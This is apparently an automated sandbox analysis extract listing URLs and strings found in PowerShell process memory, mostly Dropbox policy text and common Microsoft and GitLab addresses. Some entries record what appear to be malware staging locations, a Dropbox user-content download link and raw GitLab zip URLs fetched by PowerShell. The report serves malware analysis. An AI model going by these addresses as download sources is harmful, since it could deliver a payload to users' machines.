                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: frame-ancestors 'self' https://*.dropbox.com ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://*.purple.officeapps.live-int.com https://officeapps-df.live.com https://*.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://*.dropboxusercontent.com/p/hls_master_playlist/ https://*.dropboxusercontent.com/p/hls_playlist/ ; font-src https://* data: ; connect-src https://* ws://127.0.0.1:*/ws blob: wss://dsimports.dropbox.com/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; img-src https://* data: blob: ; base-uri 'self' ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; media-src https://* blob: ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; style-src https://* 'unsafe-inline' 'unsafe-eval' equals www.yahoo.com (Yahoo)
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: |Policy: frame-ancestors 'self' https://*.dropbox.com ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://*.purple.officeapps.live-int.com https://officeapps-df.live.com https://*.officeapps-df.live.com https://officeapps.live.com https://*.officeapps.live.com https://paper.dropbox.com/cloud-docs/edit 'self' https://www.dropbox.com/ https://dl-web.dropbox.com/ https://photos.dropbox.com/ https://paper.dropbox.com/ https://showcase.dropbox.com/ https://www.hellofax.com/ https://app.hellofax.com/ https://www.hellosign.com/ https://app.hellosign.com/ https://docsend.com/ https://www.docsend.com/ https://help.dropbox.com/ https://navi.dropbox.jp/ https://a.sprig.com/ https://selfguidedlearning.dropboxbusiness.com/ https://instructorledlearning.dropboxbusiness.com/ https://sales.dropboxbusiness.com/ https://accounts.google.com/ https://api.login.yahoo.com/ https://login.yahoo.com/ https://experience.dropbox.com/ https://pal-test.adyen.com https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/ https://onedrive.live.com/picker ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://*.dropboxusercontent.com/p/hls_master_playlist/ https://*.dropboxusercontent.com/p/hls_playlist/ ; font-src https://* data: ; connect-src https://* ws://127.0.0.1:*/ws blob: wss://dsimports.dropbox.com/ ; child-src https://www.dropbox.com/static/serviceworker/ blob: ; img-src https://* data: blob: ; base-uri 'self' ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; frame-src https://* carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; media-src https://* blob: ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; style-src https://* 'unsafe-inline' 'unsafe-eval' equals www.yahoo.com (Yahoo)
                  Source: global trafficDNS traffic detected: DNS query: www.dropbox.com
                  Source: global trafficDNS traffic detected: DNS query: ucfed2534245b2146c15a30d37e1.dl.dropboxusercontent.com
                  Source: global trafficDNS traffic detected: DNS query: gitlab.com
                  Source: powershell.exe, 00000011.00000002.1631228691.00000272A94F0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.m
                  Source: powershell.exe, 0000000F.00000002.1433980841.0000027527FE8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://crl.microsoft
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B5F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://edge-block-www-env.dropbox-dns.com
                  Source: powershell.exe, 0000000F.00000002.1434917484.000002752B1E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B223000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://gitlab.com
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313EDE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1381562890.00000163226A4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1381562890.0000016322562000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B5A0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1483554166.0000027539C30000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1483554166.0000027539D72000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1617413317.00000272A11DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1617413317.00000272A1321000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1521266518.0000027292B06000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://nuget.org/NuGet.exe
                  Source: powershell.exe, 00000011.00000002.1521266518.00000272913A2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
                  Source: powershell.exe, 0000000C.00000002.1366679470.00000163124F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.0000027529BC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1521266518.0000027291171000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B5F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://ucfed2534245b2146c15a30d37e1.dl.dropboxusercontent.com
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www-env.dropbox-dns.com
                  Source: powershell.exe, 00000011.00000002.1521266518.00000272913A2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.dropbox.com
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://2e83413d8036243b-Dropbox-pal-live.adyenpayments.com/
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://a.sprig.com/
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://accounts.google.com/
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://accounts.google.com/gsi/client
                  Source: powershell.exe, 0000000C.00000002.1366679470.00000163124F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.0000027529BC1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1521266518.0000027291171000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore68
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://api.login.yahoo.com/
                  Source: powershell.exe, 0000000F.00000002.1434917484.000002752B1E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B205000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://apis.google.com
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://app.hellofax.com/
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://app.hellosign.com/
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://canny.io/sdk.js
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://cfl.dropboxstatic.com/static/
                  Source: powershell.exe, 0000000F.00000002.1434917484.000002752B1E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B205000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://collector.prd-278964.gl-product-analytics.com
                  Source: powershell.exe, 00000011.00000002.1521266518.0000027292B06000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/
                  Source: powershell.exe, 00000011.00000002.1521266518.0000027292B06000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/Icon
                  Source: powershell.exe, 00000011.00000002.1521266518.0000027292B06000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://contoso.com/License
                  Source: powershell.exe, 0000000F.00000002.1434917484.000002752B1E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://customers.gitlab.com
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://dl-web.dropbox.com/
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/document/fsip/
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/presentation/fsip/
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.google.com/spreadsheets/fsip/
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.sandbox.google.com/document/fsip/
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.sandbox.google.com/presentation/fsip/
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docs.sandbox.google.com/spreadsheets/fsip/
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://docsend.com/
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://experience.dropbox.com/
                  Source: powershell.exe, 00000011.00000002.1521266518.00000272913A2000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
                  Source: powershell.exe, 0000000F.00000002.1434917484.000002752B1E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752A7F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B1E0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://gitlab.com
                  Source: powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://gitlab.com(
                  Source: powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://gitlab.com/-/sandbox/
                  Source: powershell.exe, 0000000F.00000002.1434917484.000002752B1E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B205000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://gitlab.com/-/sandbox/;
                  Source: powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://gitlab.com/-/speedscope/index.html
                  Source: powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://gitlab.com/admin/
                  Source: powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://gitlab.com/assets/
                  Source: powershell.exe, 0000000F.00000002.1433026894.0000027527D40000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1433980841.0000027527FE0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.0000027529DF1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1497479623.0000027541F0F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://gitlab.com/garvdsf/dsfg/-/raw/main/FGa1712.zip
                  Source: powershell.exe, 0000000F.00000002.1433980841.0000027527FE8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://gitlab.com/garvdsf/dsfg/-/raw/main/fga1712.zip
                  Source: powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://gitlab.com/users/sign_in
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313122000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752A7F1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1521266518.00000272922CE000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://go.micro
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://help.dropbox.com/
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://instructorledlearning.dropboxbusiness.com/
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://login.yahoo.com/
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://navi.dropbox.jp/
                  Source: powershell.exe, 0000000F.00000002.1434917484.000002752B1E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://new-sentry.gitlab.net
                  Source: powershell.exe, 0000000F.00000002.1434917484.000002752B1E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B205000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_env
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313EDE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1381562890.00000163226A4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1381562890.0000016322562000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B5A0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1483554166.0000027539C30000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1483554166.0000027539D72000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1617413317.00000272A11DF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1617413317.00000272A1321000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.1521266518.0000027292B06000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://nuget.org/nuget.exe
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://officeapps-df.live.com
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://officeapps.live.com
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://onedrive.live.com/picker
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://pal-test.adyen.com
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://paper.dropbox.com/
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://paper.dropbox.com/cloud-docs/edit
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://photos.dropbox.com/
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://sales.dropboxbusiness.com/
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://selfguidedlearning.dropboxbusiness.com/
                  Source: powershell.exe, 0000000F.00000002.1434917484.000002752B1E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://sentry.gitlab.net
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://showcase.dropbox.com/
                  Source: powershell.exe, 0000000F.00000002.1434917484.000002752B1E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://snowplow.trx.gitlab.net
                  Source: powershell.exe, 0000000F.00000002.1434917484.000002752B1E6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B205000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.1434917484.000002752B209000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://sourcegraph.com
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ucfed2534245b2146c15a30d37e1.dl.dropboxusercontent.com
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ucfed2534245b2146c15a30d37e1.dl.dropboxusercontent.com/cd/0/get/CghKiWb2VytBJ3hY2rZyZ4xwz7WI
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.docsend.com/
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313857000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B19000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.dropbox.com
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.dropbox.com/
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist
                  Source: powershell.exe, 0000000C.00000002.1366679470.0000016313B1F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B3F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000C.00000002.1366679470.0000016313B43000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.dropbox.com/encrypted_folder_download/service_worker.js
